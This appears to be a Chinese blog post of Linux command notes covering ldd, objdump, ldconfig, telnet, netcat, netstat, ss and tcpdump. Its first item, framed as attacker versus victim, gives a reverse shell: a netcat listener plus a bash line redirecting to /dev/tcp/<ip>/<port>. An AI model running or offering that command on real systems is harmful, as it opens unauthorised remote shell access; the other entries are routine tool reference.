1. 反转shell
攻击者主机执行:nc -nlvp <port>
被攻击者执行:bash -i >& /dev/tcp/<ip>/<port> 0>&1
也可以用于把局域网下主机终端暴露给公网下,这在特定场景下比较方便
2. ldd
用于查看可执行文件或共享库文件所依赖的动态链接库的工具。
3. objdump
用于反汇编可执行文件、目标文件和共享库文件的工具。使用 objdump 命令可以对二进制文件进行静态分析,以查看其包含的指令集、符号表、节(section)和其他调试信息。
基本语法
objdump <options> <file>
一些常用的 objdump 选项:
-d:反汇编代码段,显示二进制文件的指令集。
-t:显示符号表,包括全局符号和局部符号。
-h:显示节(section)表,包括各个节的名称、地址和大小等信息。
-x:显示附加信息,如文件头和段头的详细信息。
-S:在反汇编代码中同时显示源代码。
4. ldconfig
用于更新系统动态链接器的缓存。在 Linux 系统中,动态链接器负责在程序运行时将可执行文件或共享库文件与其所依赖的动态链接库进行链接。ldconfig 命令用于更新系统中已安装的动态链接库的缓存,以便动态链接器能够正确找到和加载这些库。当你安装新的共享库文件或将共享库文件移动到不同的位置时,你可能需要运行 ldconfig 命令来更新系统的动态链接器缓存。这样做可以确保动态链接器能够正确地找到并加载这些库文件。
运行sudo ldconfig
命令来执行 ldconfig,执行命令后,ldconfig 将扫描默认的共享库路径(通常是 /lib 和 /usr/lib)以及其他配置的路径,并更新动态链接器的缓存。这样,动态链接器在运行程序时就能正确地解析和加载所需的共享库文件。
需要注意的是,在大多数情况下,你不需要手动运行 ldconfig。通常,当你使用包管理器安装或卸载共享库文件时,包管理器会自动执行 ldconfig 来更新缓存。只有在特定情况下,例如手动安装共享库文件或手动移动共享库文件时,才需要手动运行 ldconfig。
总而言之,ldconfig 是一个用于更新系统动态链接器缓存的命令。它可以确保动态链接器能够正确找到和加载共享库文件。
5. telnet
用于在命令行界面中访问远程主机的命令行工具。使用 telnet 命令telnet <host> <port>
,你可以指定远程主机的地址和端口,并建立与该主机的 Telnet 连接。由于 Telnet 是以明文方式传输数据,连接信息和数据在网络上是不加密的。因此,Telnet 不适合在不受信任的网络中使用,因为它可能会暴露敏感信息。
6. nc
nc(也称为 netcat)是一个网络工具,可以在命令行中创建 TCP 或 UDP 连接,进行网络通信。它提供了一个简单而强大的界面,可以用于发送和接收数据,执行端口扫描,以及在不同主机之间传输文件。
以下是一些常用的 nc 选项:
- -l:在监听模式下运行 nc,等待传入连接。
- -p
:指定本地端口号。 - -u:使用 UDP 协议进行连接。
- -v:显示详细的调试信息。
- -n:禁用主机名解析。
7. netstat
显示和管理网络连接、网络接口以及网络协议统计信息。
以下是一些常用的 netstat 选项:
- -a:显示所有连接和监听端口。
- -t:显示 TCP 连接信息。
- -u:显示 UDP 连接信息。
- -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
- -p:显示与连接关联的程序或进程 ID。
- -r:显示路由表信息。
- -s:显示与各个协议相关的统计信息。
8. ss
用于显示和管理套接字(sockets)的相关信息,包括网络连接、监听端口、路由表和其他网络统计信息。它是 netstat 命令的替代品。
以下是一些常用的 ss 选项:
- -a:显示所有连接和监听端口。
- -t:显示 TCP 连接信息。
- -u:显示 UDP 连接信息。
- -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
- -p:显示与连接关联的程序或进程 ID。
- -r:显示路由表信息。
- -s:显示与各个协议相关的统计信息。
- -l:仅显示监听状态的套接字。
9. tcpdump
命令行网络抓包工具,用于捕获和分析网络数据包。它可以在实时中捕获数据包,并提供灵活的过滤和显示选项,用于监视和分析网络流量。
tcpdump 命令的基本语法如下:
tcpdump [options] [expression]
以下是一些常用的 tcpdump 选项:
- -i
:指定要抓包的网络接口。 - -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
- -c
:仅抓取指定数量的数据包后停止。 - -s
:设置要捕获的数据包的最大长度。 - -w
:将抓取的数据包写入指定的文件中,而不进行实时显示。 - -r
:从指定文件中读取数据包,而不进行实时抓包。
除了选项,你还可以使用表达式来过滤要抓取的数据包。表达式可以基于源地址、目标地址、端口号、协议类型等进行过滤。
以下是一些常用的表达式示例:
- host
:过滤特定主机的数据包,可以是 IP 地址或主机名。 - src
:过滤源地址为指定主机的数据包。 - dst
:过滤目标地址为指定主机的数据包。 - port
:过滤指定端口号的数据包。 - src port
:过滤源端口号为指定端口的数据包。 - dst port
:过滤目标端口号为指定端口的数据包。 - tcp:过滤 TCP 协议的数据包。
- udp:过滤 UDP 协议的数据包。
- icmp:过滤 ICMP 协议的数据包。
- ether :过滤以太网地址(MAC 地址)为指定地址的数据包。
- net
:过滤特定网络的数据包,可以是 IP 网络地址。 - src net
:过滤源地址属于指定网络的数据包。 - dst net
:过滤目标地址属于指定网络的数据包。 - greater
:过滤数据包长度大于指定值的数据包。 - less
:过滤数据包长度小于指定值的数据包。
这些表达式可以单独使用,也可以组合使用以创建更复杂的过滤条件。
例如,要在名为 eth0 的网络接口上捕获所有 TCP 协议的数据包,并以实时方式显示它们的内容,可以运行以下命令:
tcpdump -i eth0 tcp
标签:文件,显示,指定,命令,ldconfig,过滤,Linux,整理,数据包
From: https://www.cnblogs.com/ericling0529/p/17980831